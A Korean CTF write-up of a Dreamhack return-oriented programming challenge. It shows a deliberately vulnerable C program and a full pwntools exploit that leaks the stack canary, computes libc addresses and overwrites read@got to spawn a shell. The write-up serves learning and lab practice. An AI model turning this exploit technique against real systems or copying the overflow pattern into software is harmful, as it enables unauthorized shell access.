문제: https://dreamhack.io/wargame/challenges/354/
rop
Description Exploit Tech: Return Oriented Programming에서 실습하는 문제입니다. 문제 수정 내역 2023.04.25: Ubuntu 22.04 환경으로 업데이트하였습니다.
dreamhack.io
📍 보호기법

64비트 아키텍처, 카나리 있음, NX 있음, PIE 없음
참고로 ASLR과 PIE는 둘 다 주소를 랜덤하게 바꾸는 효과가 있지만 다른 개념이다. (내가 헷갈림)
📍 소스코드
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}
[1] Leak Canary
0x30 크기의 `buf`에 0x100만큼의 사용자 입력을 받는다.
`%s` 형식지정자로 `buf`의 값을 출력한다.
[2] Input ROP payload
0x30 크기의 `buf`에 0x100만큼의 사용자 입력을 받는다.
그냥 카나리 값을 알아내고 리턴주소를 overwrite하라는 흐름이다.
문제는 리턴주소를 뭘로 덮냐는 건데,
셸을 실행하는 함수도 시스템 함수도 뭐도 안 보인다. 👀
이럴 때, 프로세스에서 libc가 매핑된 주소를 찾고
그 주소로부터 `system` 함수의 오프셋을 이용해 함수의 주소를 계산하는 ROP를 이용한다.
⭐ 우선 가장 중요하게 알아둘 점!
`system` 함수는 libc.so.6에 정의되어 있는데,
라이브러리(.so 파일)는 메모리에 한 덩어리로 매핑되기 때문에
함수들 간의 상대적인 위치(offset)가 절대 바뀌지 않는다.
이때 메인함수 내에 `system` 함수는 없지만 `puts`, `read`, `printf`는 호출되고 있다.
그렇다면 GOT에서 이들의 주소를 leak하고, 그 주소에서 해당 함수의 libc 오프셋을 빼면 libc base를 계산할 수 있다.
그리고 libc base + system offset으로 `system` 함수의 위치를 계산하면 된다.
이는 모두 라이브러리 파일 전체가 한 덩어리로 매핑되어 오프셋이 고정되기 때문에 가능하다.
결국 `system("/bin/sh")` 한 줄을 ROP 체인으로 흉내내는 것이라고 요약할 수 있겠다.
+ PLT? GOT?
PLT에는 GOT를 참조해서 점프하는 기계어 코드가 들어있고,
GOT에는 라이브러리 함수의 진짜 주소가 들어있으므로
함수들의 주소 간 offset을 계산하고자 하는 우리는 GOT를 들여다봐야 한다!
📍 익스플로잇
선 요약: "하나의 페이로드로 `system` 함수 주소도 계산하고 실행도 하겠다"
🫧 카나리 우회하기
우선 기본 중의 기본 카나리부터 찾자.

`buf`의 주소: `[rbp-0x40]`
카나리와의 offset은 0x38이고, 한 바이트를 더해서 0x39만큼의 더미 값을 입력한다.
from pwn import *
p = remote("host3.dreamhack.games", 포트번호)
e = ELF("./rop")
buf = b'A'*0x39
p.sendafter("Buf: ", buf)
canary = u64(b'\x00' + p.recvn(7))
🫧 `system` 함수의 주소 계산하기
`main`에서 호출되어 GOT에 등록되어 있는 함수를 아무거나 하나 정한다.
예를 들어 `read` 함수라고 치면, `system` 함수의 주소를 계산하는 과정은 아래와 같다.
1. GOT에 저장된 `read` 함수의 실제 주소를 leak
2. `read`의 offset 찾기
3. 실제 주소 - offset = libc base address
4. libc base + `system`의 offset = `system`의 실제 주소
하나씩 천천히 해보자!
1. `read@got`(실제 메모리 주소가 저장되어 있는 주소) leak하기
e = ELF('./rop')
read_got = e.got['read']
혹은 `objdump -R` 옵션을 활용해 GOT를 출력해서 볼 수도 있다.
objdump -R ./rop | grep read

0x601038 => `read@got` (`read`의 실제 메모리 주소가 저장되어 있는 주소)
주의할 점!
이 주소는 `read@got` 슬롯의 주소지, 그 안에 들어있는 함수의 실제 주소와는 다르다.
따라서 안에 들어 있는 값을 읽으려면, `write(1, read@got, 8)` 같은 식으로 leak을 시도해야 한다.
`read@got` 주소를 출력하는 데 `write()` 함수를 사용하려면 첫 번째와 두 번째 인자를 줘야 한다.
따라서 필요한 가젯은 pop rsi와 pop rdi이다.
| 인자 순서 | 레지스터 |
| 1번째 인자 | rdi |
| 2번째 인자 | rsi |
| 3번째 인자 | rdx |
| 4번째 인자 | rcx |
| 5번째 인자 | r8 |
| 6번째 인자 | r9 |

0x400851 => `pop rsi ; pop r15 ; ret`
0x400853 => `pop rdi ; ret`
세 번째 인자는 왜 패스하냐?
대부분의 바이너리에서 `pop rdx ; ret` 같은 가젯이 매우 희귀하기 때문이다.
만약 `rdx`까지 설정하려면 `CSU` 가젯이나 다른 복잡한 걸 써야 해서 귀찮고 리스크가 커진다고 한다.
꼭 필요한 경우거나 정밀한 익스를 원한다면 그때 `rdx`를 설정하면 된다.
이제 `write(1, read@got, ...)` 함수로 `read_got`의 값을 출력해보자.
payload = b'A'*0x38 + p64(canary) + b'B'*0x8
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
이 이후에 출력되는 `read`의 실제 주소값을 받아서 그걸로 libc base와 `system`의 실제 주소를 계산하면 된다.
2. `read` 함수의 libc 내 offset 구하기
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
read_offset = libc.symbols['read']
`ELF.symbols['함수명']` = 그 ELF 안에서의 offset
즉, `libc.symbols`로 구한 값이 libc 파일 내에서의 상대 위치이다.
3. libc base 구하기
libc base + `libc.symbols['read']` = `read` 함수의 메모리 주소
read = u64(p.recvn(8))
libc_base = read - libc.symbols['read']
4. `system` 함수의 실제 주소 계산하기
방금 구한 libc base에 `system`의 offset을 더하면 된다.
system = libc_base + libc.symbols['system']
🫧 `read@got`에 `system` 함수의 주소 넣기
중간 점검을 해보자.
`write` 함수의 표준출력을 받아와 `read@got` 안에 있는 `read` 함수의 실제 주소를 알아냈고,
그 값을 바탕으로 `system` 함수의 실제 주소도 알아냈다.
이때 쓰이는 것이 GOT overwrite 기법이다.
동적 링크의 lazy binding이 일어나는 순서는 다음과 같았다.
1. 호출할 라이브러리 함수의 주소를 프로세스에 매핑된 라이브러리에서 찾는다.
2. 찾은 주소를 GOT에 적고 이를 호출한다.
3. 해당 함수를 다시 호출할 경우, GOT에 적힌 주소를 그대로 참조한다.
3번에서 GOT에 적힌 주소는 다시 검증되지 않고 참조되므로, 함수의 GOT에 적힌 주소를 변조한 다음 해당 함수를 재호출한다.
따라서 입력할 수 있는 함수인 `read` 함수의 표준입력을 연 다음
`read@got`에 `system("/bin/sh")`를 입력하면 된다.
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
p.send(p64(system) + b'/bin/sh\x00')
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
paylaod += p64(ret)
payload += p64(read_plt)
`/bin/sh`는 7바이트니까 8바이트를 맞춰주기 위해 널 바이트 패딩 1바이트를 넣어주었다.
현재 `read@got` 위치에는 `system` 함수의 주소가 들어가 있고,
`read@got + 8` 위치에는 `/bin/sh\x00` 문자열이 들어가 있다.
즉 `rdi`에는 `read@got + 8`을 넣어야 첫 번째 인자로 `/bin/sh`를 넣을 수 있다.
`ret`은 뭐냐면 16바이트 스택 정렬을 위한 값이다.
`system` 같은 함수 내부에서 쓰이는 `movaps` 명령은 스택이 16바이트로 정렬되어 있지 않으면 seg fault를 발생시키기 때문에, 버퍼 정리용 패딩을 넣어줘야 한다.
마지막으로 `read@plt`를 호출하면 `jmp [read@got]`가 실행되면서,
실제로는 `system("/bin/sh")`가 호출된다.
📍 전체 익스플로잇
from pwn import *
p = remote("host3.dreamhack.games", 17800)
e = ELF('./rop')
libc = ELF('./libc.so.6')
# 카나리 릭
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
canary = u64(b'\x00' + p.recvn(7))
# 익스플로잇
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x400853
pop_rsi_r15 = 0x400851
ret = 0x400854
payload = b'A'*0x38 + p64(canary) + b'B'*0x8
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(8))
libc_base = read - libc.symbols['read']
system = libc_base + libc.symbols['system']
p.send(p64(system) + b'/bin/sh\x00')
p.interactive()

🚩
근데 뭔가 하면 할수록
셸 실행 함수? 없어도 돼 셸코드 주입하면 그만이야~ 아님 라이브러리 오프셋 계산하지뭐 ㅋㅋ
이거 같은데
사실 BOF랑 %s 형식지정자 없으면 아무것도 못하는 거 아닌가... 싶다 (짧은 지식)
그렇게 세팅된 환경의 문제들만 풀어봐서 그런가😅 갈길이 멀다
'𝐖𝐚𝐫𝐠𝐚𝐦𝐞𝐬 > 𝐏𝐰𝐧𝐚𝐛𝐥𝐞' 카테고리의 다른 글
| [드림핵] basic_rop_x64 (0) | 2025.03.30 |
|---|---|
| [드림핵] struct person_t (1) | 2025.03.29 |
| [드림핵] Return to Library (0) | 2025.03.28 |
| [드림핵] ssp_001 (0) | 2025.03.27 |
| [드림핵] Return to Shellcode (0) | 2025.03.26 |